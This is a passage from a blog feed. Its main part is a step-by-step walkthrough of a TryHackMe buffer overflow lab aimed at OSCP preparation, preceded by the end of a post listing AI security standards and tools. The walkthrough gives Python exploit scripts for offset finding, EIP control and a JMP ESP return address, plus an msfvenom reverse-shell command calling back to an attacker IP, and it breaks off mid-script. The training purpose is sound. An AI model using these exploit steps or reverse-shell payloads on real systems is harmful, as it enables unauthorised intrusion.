<li><p><strong>NIST AI RISK MANAGEMENT FRAMEWORK(RMF)</strong> : The NIST AI Risk Management Framework (AI RMF) is a guide designed to help organizations manage AI risks at every stage of the AI lifecycle  - from development to deployment and even decommissioning.</p>
</li>
</ul>
<p>Guidance : <a target="_blank" href="https://airc.nist.gov/airmf-resources/playbook/">Playbook</a></p>
<h4 id="heading-standards"><strong>Standards</strong></h4>
<ul>
<li><p><strong>ISO/IEC 42001:2023</strong>: AI security and management which provides a framework for organizations to manage AI responsibly and ethically.</p>
</li>
<li><p><strong>ISO/IEC TR 27563:2023</strong> is a technical report that provides best practices for assessing security and privacy in artificial intelligence (AI) use cases.</p>
</li>
<li><p><strong>ISO/IEC DIS 27090</strong>: Guidance for addressing security threats to artificial intelligence systems.</p>
</li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*6IMxdqVqhfZYyP0WpwDYEA.jpeg" alt /></p>
<h4 id="heading-ai-related-acts"><strong>AI Related Acts</strong></h4>
<ul>
<li><p><a target="_blank" href="https://artificialintelligenceact.eu"><strong>The European Union’s AI Act</strong></a></p>
</li>
<li><p><a target="_blank" href="https://ised-isde.canada.ca/site/innovation-better-canada/en/artificial-intelligence-and-data-act-aida-companion-document"><strong>Artificial Intelligence &amp; Data Act (AIDA),Canada</strong></a></p>
</li>
<li><p><a target="_blank" href="https://www.pdpc.gov.sg/help-and-resources/2020/01/model-ai-governance-framework"><strong>Singapore’s Model AI Governance Framework</strong></a></p>
</li>
</ul>
<h3 id="heading-ai-security-solution"><strong>AI Security Solution</strong></h3>
<p><strong>Content Filters :</strong> AI content filters are systems designed to detect and prevent harmful or inappropriate content.</p>
<p>They work by evaluating input prompts and output completions, using neural classification models to identify specific categories such as hate speech, sexual content, violence, and self-harm e.g., in Azure AI Foundry, Vertex AI.</p>
<p><strong>Data security posture management (DSPM):</strong> DSPM identifies sensitive data across cloud and services, it continuously monitors data security, identifies risks, assesses vulnerabilities and provides remediation strategies.</p>
<p><strong>Meta prompt</strong> : A meta prompt, or system message, is a set of natural language instructions used to guide an AI system’s behavior (<em>do this, not that</em>). A good meta prompt would say “if a user requests large quantities of content, only return a summary of those search results.</p>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*KMXCg-RtSxQhYtUFfjJotw.png" alt /></p>
<p><strong>Guardrails :</strong> Guardrails are mechanisms and frameworks designed to ensure that AI systems operate within ethical, legal, and technical boundaries.They prevent AI from causing harm, making biased decisions, or being misused.</p>
<p><strong>LLM Guard:</strong> The Digital Firewall for Language Models, By offering sanitization, detection of harmful language, prevention of data leakage, and resistance against prompt injection attacks.</p>
<p><strong>MCP Scan :</strong> Security <a target="_blank" href="https://mcpscan.ai/">scanner</a> for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe.</p>
<p>Now I will end the blog with thanking you all and the final message which inspire all of us to learn more about Artificial Intelligence.</p>
<p>Feel free to reach me out over <a target="_blank" href="https://www.linkedin.com/in/harsh-tandel-939785193">linkedin</a> or <a target="_blank" href="https://x.com/H4r5h_T4nd37">X</a> and stay tuned for more blogs on AI,Web3 seurity and cybersecurity Blogs on medium.</p>
<blockquote>
<p><strong>AI won’t replace humans, but humans using AI will</strong>  — Fei Fei Li</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Learn Buffer Overflow Techniques]]></title><description><![CDATA[There are a total of 10 labs, from OVERFLOW1 to OVERFLOW10. I'll guide you through the basic concepts so you can solve the other labs on your own.
About The Labs
This is an amazing room created by Tib3rius that includes everything you need if you are...]]></description><link>https://breachforce.net/buffer-overflow</link><guid isPermaLink="true">https://breachforce.net/buffer-overflow</guid><category><![CDATA[offsec]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[Security]]></category><category><![CDATA[Buffer Overfow]]></category><category><![CDATA[breachforce]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[Akbar Khan]]></dc:creator><pubDate>Sat, 25 Jan 2025 18:30:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254699763/26291bd7-dd00-49f3-a7a9-af0b3abd5a28.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There are a total of 10 labs, from OVERFLOW1 to OVERFLOW10. I'll guide you through the basic concepts so you can solve the other labs on your own.</p>
<p><strong>About The Labs</strong></p>
<p>This is an amazing room created by <a target="_blank" href="https://www.linkedin.com/in/tib3rius/">Tib3rius</a> that includes everything you need if you are preparing for the OSCP and eCPPT certification exams.</p>
<p>I will try to make it as easy as possible. It might be a bit lengthy, but I will cover all the do's and don'ts.</p>
<blockquote>
<p>Note: We will not use the TryHackMe guide, as I find it a little difficult for beginners.</p>
</blockquote>
<p><strong>Lab Requirements</strong></p>
<ol>
<li><p>Windows 7 Machine (with Immunity Debugger installed)</p>
</li>
<li><p>Kali Linux Machine</p>
</li>
</ol>
<p>In these labs, we are using a TryHackMe machine that is pre-configured with the above requirements, so let's get started.</p>
<p>The command to connect to the machine and access the full screen is as follows:</p>
<pre><code class="lang-bash">xfreerdp /u:admin /p:password /cert:ignore /v:10.10.70.85 /workarea
</code></pre>
<p>Once connected, if prompted for network selection, choose Home Network.</p>
<p><strong>Windows Victim Machine</strong></p>
<p>As we can see, this machine has a vulnerable application and Immunity Debugger preconfigured. In the vulnerable folder, there is an executable named oscp that we are going to use. Let's find out what this oscp.exe does.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254633797/25847b53-ed51-4131-89ef-b7b8b6d91044.png" alt class="image--center mx-auto" /></p>
<p><code>oscp.exe</code> is listening on port 1337. From our attacker machine, we can try to connect using <code>nc</code>.</p>
<p>Run this command from the attacker's terminal.</p>
<pre><code class="lang-bash">nc 10.10.70.85 1337
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254636099/96c457c2-7ef2-44ad-bb9d-057642f303b1.png" alt class="image--center mx-auto" /></p>
<p>What happened on the victim machine?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254637554/bde4d553-827d-4a1f-838f-ae5a5fe6ecaf.png" alt class="image--center mx-auto" /></p>
<p>The example above shows the general case, which is the ideal functionality.</p>
<h2 id="heading-test-case-1"><strong>Test Case 1</strong></h2>
<p>From the attacker machine, we will try to send something much larger than test_akbar.</p>
<p>Where did this idea come from? Since we are working on the buffer overflow room, our goal is to overflow the buffer. This means we will send a large amount of data, which might cause the application to crash.</p>
<p>To send a large amount of data, I plan to use Python to generate A*1000 and then send it.</p>
<p>First, we sent 1000 A's, but the application was able to respond with OVERFLOW1 COMPLETED.</p>
<p>Now, we are increasing the number of A's from 1000 to 2000 to see what happens.</p>
<pre><code class="lang-bash">&amp;gt;&gt;&gt; <span class="hljs-built_in">print</span>(<span class="hljs-string">"A"</span>*2000)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254638945/99ec9361-2c1b-4c27-9990-775a47a40a66.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254640739/15adf083-85df-4e07-8040-636a7c629611.png" alt class="image--center mx-auto" /></p>
<p>Now, check the application's response.</p>
<p>The application crashed, revealing a buffer overflow vulnerability.</p>
<p>In some cases, you might receive an error called a segmentation fault. This means you are trying to access a part of memory that you are not allowed to access.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254642329/c9be019d-fe62-4407-910a-beb1ab4e5c0a.png" alt class="image--center mx-auto" /></p>
<p>oscp.exe crashed</p>
<h2 id="heading-test-case-2"><strong>Test Case 2</strong></h2>
<p>Now, we will write a Python script to automate this process. There are some scripts available in the TryHackMe room for crashing or controlling the EIP, but we won't be using those.</p>
<p>Below is <code>script2.py</code>. You can name the script as whatever you like.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 is bytes</span>
    payload = [<span class="hljs-string">b"A"</span> * <span class="hljs-number">2000</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    s.send(payload)
    s.close()

<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>Let's run this script without starting oscp.exe to see if it's working correctly. We should get an error.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254643642/6b9fc98e-4d85-4171-9979-c862a17a8eb0.png" alt class="image--center mx-auto" /></p>
<p>There is one issue in our script, and this is an intentional issue that you might encounter. We are directly sending our payload without using the valid command. In this lab, our command is:</p>
<p>So, we need to specify OVERFLOW1 in our script, followed by a space and our value, as shown below.</p>
<blockquote>
<p><strong>OVERFLOW1 [value]</strong></p>
</blockquote>
<p>Re-editing the script.</p>
<p>The part marked in bold was causing the problem</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 is bytes</span>
    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">2000</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things so we will join this using a join function.</span>
    s.send(payload)
    s.close()
<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>Now, let's start oscp.exe and run the script.</p>
<p>Make sure oscp.exe is running before you execute the script.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254644991/bda6e2b3-edb0-4300-90c4-cb4f0201baa4.png" alt class="image--center mx-auto" /></p>
<p>Now check the application.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254646555/46e05877-dc6e-4f75-b083-7e93269d6b12.png" alt class="image--center mx-auto" /></p>
<p>It crashed, which means our script is working perfectly.</p>
<p>SUPER COOL!</p>
<h2 id="heading-test-case-3"><strong>Test Case 3</strong></h2>
<p>Here, I am going to use Immunity Debugger because I need to check some registers and other details to get a reverse shell from this machine.</p>
<p>Let's start Immunity Debugger now.</p>
<p>Once open, you have two methods to find the executable: 1) to run the executable and attach it, 2) directly open the .exe file.</p>
<p>It is recommended to open the .exe file directly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254648720/46470e4a-8225-42f1-a2f0-137dffbd5066.png" alt class="image--center mx-auto" /></p>
<p>Once open it will be in paused state.</p>
<p>As show below we need to run this and it should be in running state.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254650143/ce388b5a-af27-48ab-ace8-6181e0999b8e.png" alt class="image--center mx-auto" /></p>
<p>Now we are running.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254651835/f110041a-50bd-46b4-a669-d64a9b71f2b2.png" alt class="image--center mx-auto" /></p>
<p>So what we are going to do is we will run our <code>script2.py</code> and see in my immunity debugger.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254653255/024984ac-1b66-496d-b42a-4571549be113.png" alt class="image--center mx-auto" /></p>
<p>The application should crash and be the immunity debugger will be moved to Paused again.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254654729/23fd0a59-475c-4db0-bb60-e989774a90ee.png" alt class="image--center mx-auto" /></p>
<p>Observe the CPU Registers</p>
<p>41414141 is the hexadecimal representation of the characters AAAAAAA.</p>
<p>The most important pointer to note below is EIP, which is overwritten as 414141.</p>
<p>This means that due to overflow, our AAAAA's are crossing EIP and entering ESP, as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254656097/44cd8e02-f5f6-4172-870c-5a7a36feb2da.png" alt class="image--center mx-auto" /></p>
<p>So now, what we are interested in is gaining complete control over the EIP. EIP is the instruction pointer that will try to execute the next line of code.</p>
<h2 id="heading-challenge-here"><strong>Challenge here</strong></h2>
<p>We need to find the exact offset index of this EIP so that we can take full control of it. But our problem is that we sent 2000 A's, so there is no way to figure out exactly where the EIP starts—whether it's at 1500, 1600, 1700, or any value in between. We can't just assume it.</p>
<p>What we know is that we sent 2000 A's, and they are affecting the EIP. To solve this, we will use a cyclic pattern. The cyclic pattern will help us quickly determine the exact point where our A's are affecting the EIP.</p>
<p>We will create a pattern of 2000 characters. This pattern will pass over the EIP values, and by checking the EIP, we can identify the exact pattern where our EIP starts.</p>
<pre><code class="lang-bash">msf-pattern_create -l 2000
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254657398/b52368aa-dd56-4a3b-badc-958ee16f5c4b.png" alt class="image--center mx-auto" /></p>
<p>Now let's copy this pattern into our payload.</p>
<p>Remove A*2000 from <code>script2.py</code> and paste the pattern above.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 is bytes</span>
    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'pattern'</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things so we will join this using a join function</span>
    s.send(payload)
    s.close()
<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>How it actually looks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254660067/8684d952-993f-4d66-a689-d79e4db8d2c4.png" alt class="image--center mx-auto" /></p>
<p>Save this, restart the Immunity Debugger, and run <code>oscp.exe</code>.</p>
<p>Then, run <code>script2.py</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254661786/28bcdb15-acc0-4512-b5ce-bda437a15bd3.png" alt class="image--center mx-auto" /></p>
<p>Again, the application will crash, but now we can identify the EIP value.</p>
<p>EIP 6F43396E is a unique number, and using this number, we can find the index/offset where it is getting overwritten on the EIP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254663226/b2b2524f-6ac9-4314-926b-9965c9802472.png" alt class="image--center mx-auto" /></p>
<p>To find the pattern where the EIP is overwritten with the value 6F43396E, we will use another tool called <strong>msf-pattern-offset</strong>.</p>
<pre><code class="lang-bash">msf-pattern_offset -l 2000 -q 6F43396E
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254665249/72a2395b-bc47-4b5c-aac4-eaf3dcdefc44.png" alt class="image--center mx-auto" /></p>
<p>So now we have found the exact match. This indicates that the EIP starts at 1978. Whatever we write after 1978 will overwrite the EIP.</p>
<p><strong>Re-edit</strong> <code>script2.py</code></p>
<p>In the script below, the B character will overwrite the EIP.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 is bytes</span>
    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">1978</span> + <span class="hljs-string">b'B'</span> * <span class="hljs-number">4</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things so we will join this using a join function</span>
    s.send(payload)
    s.close()
<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>Save this, restart the Immunity Debugger, and run <code>oscp.exe</code>.</p>
<p>Run <code>script2.py</code>.</p>
<p>The application crashed.</p>
<p>Now, my EIP is overwritten to 42424242, which is the hexadecimal conversion of the character B.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254666712/930fc64b-038b-4676-853a-93820d98b9da.png" alt class="image--center mx-auto" /></p>
<p>Let see If we send something after B where it goes.</p>
<p><strong>Re-edit</strong> <code>script2.py</code></p>
<p>We have added C char 100 times.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 is bytes</span>

    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">1978</span> + <span class="hljs-string">b'B'</span> * <span class="hljs-number">4</span> + <span class="hljs-string">b'C'</span> * <span class="hljs-number">100</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things so we will join this using a join function.</span>

    s.send(payload)
    s.close()

<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254668926/c011d481-bad9-40d5-9352-a167a40e13d0.png" alt class="image--center mx-auto" /></p>
<p>EIP contains 42424242, which represents the character B.</p>
<p>EAX contains our AAAAA.</p>
<p>In <strong>ESP, I have the C character. This is crucial to know because this is where I plan to insert malicious code.</strong></p>
<p>Now we have control over ESP as well.</p>
<p>What if I make EIP jump or tell EIP to go to ESP? It will go to ESP, and if I replace the C character with my malicious shell code, EIP will execute that code.</p>
<p>That's the main goal we are working towards.</p>
<p><strong>If you've followed along this far, congratulations!</strong></p>
<h2 id="heading-malicious-task"><strong>Malicious Task</strong></h2>
<p>To perform the jumping task, we need to use a Python script called Mona.</p>
<p>Since we are using a TryHackMe machine, it is already installed in the Immunity Debugger.</p>
<p>But let's see where you can get it and where to place it.</p>
<p><a target="_blank" href="https://github.com/corelan/mona">GitHub — corelan/mona: Corelan Repository for mona.py</a></p>
<p>Download the <code>mona.py</code> script and move it to the Immunity Debugger's Python folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254670445/5acf142d-5b66-4fc3-a507-c6f3eeec0aea.png" alt class="image--center mx-auto" /></p>
<p>Move <code>mona.py</code> here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254671916/8cd56ee2-294f-481a-8f25-a8e628ec4a35.png" alt class="image--center mx-auto" /></p>
<p>to invoke mona</p>
<pre><code class="lang-bash">!mona
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254673342/768b2897-7582-4433-8135-7958f943dc93.png" alt class="image--center mx-auto" /></p>
<p>we are going to use this jump command to jump from EIP to ESP.</p>
<pre><code class="lang-bash">!mona jmp -r esp
</code></pre>
<p>Here, your Mona terminal will be activated again. Type <code>!mona</code> to check the status.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254675719/4131fd29-d2a4-43c4-b796-6b3a9cd44154.png" alt class="image--center mx-auto" /></p>
<p>We have found a total of 9 pointers. You can choose any one of them, but I will choose the one that has all FALSE. We are using the first one: 0x625011af.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254677053/786be7d3-feaa-42f2-827c-c210cee7f8d6.png" alt class="image--center mx-auto" /></p>
<p>Now, the problem here is that whenever I use this address, I need to convert it to little-endian format.</p>
<p>Don't worry, we'll learn how.</p>
<p>My address was 0x625011af.</p>
<p>The easiest way is to reverse it and add \x before each pair of characters, as shown below.</p>
<blockquote>
<p><strong>\xaf\x11\x50\x62</strong></p>
</blockquote>
<p>Edit the <code>script2.py</code> and paste this little-endian value in place of B.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 bytes</span>

    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">1978</span> + <span class="hljs-string">b'\xaf\x11\x50\x62'</span> + <span class="hljs-string">b'C'</span> * <span class="hljs-number">100</span>]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things, so we will join this using the join function.</span>

    s.send(payload)
    s.close()

<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>The reason we're doing this is that this is the jump address, and I want to jump to this address and enter the C buffer where I'll upload the malicious code.</p>
<p>We will also set a breakpoint. I'm setting this so that whenever the value 0x625011af appears, it stops right there.</p>
<p>Click on the assemble and disassemble box and press CTRL+G.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254678190/2af0a080-f7e2-485c-8dd8-a3fd3ed3c34d.png" alt class="image--center mx-auto" /></p>
<p>The ESP jmp instruction is set to FFE4</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254679647/79c0170b-2203-4a6a-a6cb-3ee2cc636104.png" alt class="image--center mx-auto" /></p>
<p>Now our breakpoint is set.</p>
<p><strong>Run</strong> <code>script2.py</code></p>
<p>Check the Immunity Debugger.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254681135/226f2e98-5267-4e77-8303-80512caadf85.png" alt class="image--center mx-auto" /></p>
<p>Now the EIP is set to 625011AF, which is the jump instruction. The jump is over ESP, and now we will create malicious code and paste it in 'C'.</p>
<p>There is one major character issue that you will encounter, which I will explain further.</p>
<p>Let's create a malicious payload.</p>
<pre><code class="lang-bash">msfvenom -p windows/shell_reverse_tcp LHOST=10.11.48.237 LPORT=2306 -f py
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254682758/9d764352-4701-4082-ace5-909a5eeb7883.png" alt class="image--center mx-auto" /></p>
<p>We get shellcode that provides a buf variable. All of this is in bytes, but the problem is that the shellcode contains some bad characters that are not allowed in the vulnerable program.</p>
<p>If any bad character is used, we will not get a reverse shell.</p>
<h3 id="heading-find-bad-characters"><strong>Find Bad Characters</strong></h3>
<p>Identify the bad characters and remove them from our payload.</p>
<p>Search online to find out what bad characters are.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254685302/f627b2e9-77de-48d8-bc76-6ab641b4a3a9.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p><a target="_blank" href="https://github.com/cytopia/badchars">https://github.com/cytopia/badchars</a></p>
</blockquote>
<p>copy this bad char in our <code>script2.py</code> but before running pad b as they are not in bytes.</p>
<pre><code class="lang-python">badchars=(
 “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10””\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20<span class="hljs-string">"”\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"</span>”\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40<span class="hljs-string">"”\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"</span>”\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60<span class="hljs-string">"”\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"</span>”\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80<span class="hljs-string">"”\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"</span>”\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<span class="hljs-string">"”\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"</span>”\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0<span class="hljs-string">"”\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"</span>”\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0<span class="hljs-string">"”\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"</span>”\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)
</code></pre>
<p>Paste the above characters in script.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

badchars = (
    <span class="hljs-string">b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"</span>
    <span class="hljs-string">b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"</span>
    <span class="hljs-string">b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"</span>
    <span class="hljs-string">b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"</span>
    <span class="hljs-string">b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"</span>
    <span class="hljs-string">b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"</span>
    <span class="hljs-string">b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"</span>
    <span class="hljs-string">b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"</span>
    <span class="hljs-string">b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"</span>
    <span class="hljs-string">b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"</span>
    <span class="hljs-string">b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"</span>
    <span class="hljs-string">b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"</span>
    <span class="hljs-string">b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"</span>
    <span class="hljs-string">b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"</span>
    <span class="hljs-string">b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"</span>
    <span class="hljs-string">b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"</span>
)  <span class="hljs-comment"># This will find bad characters</span>

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 bytes</span>

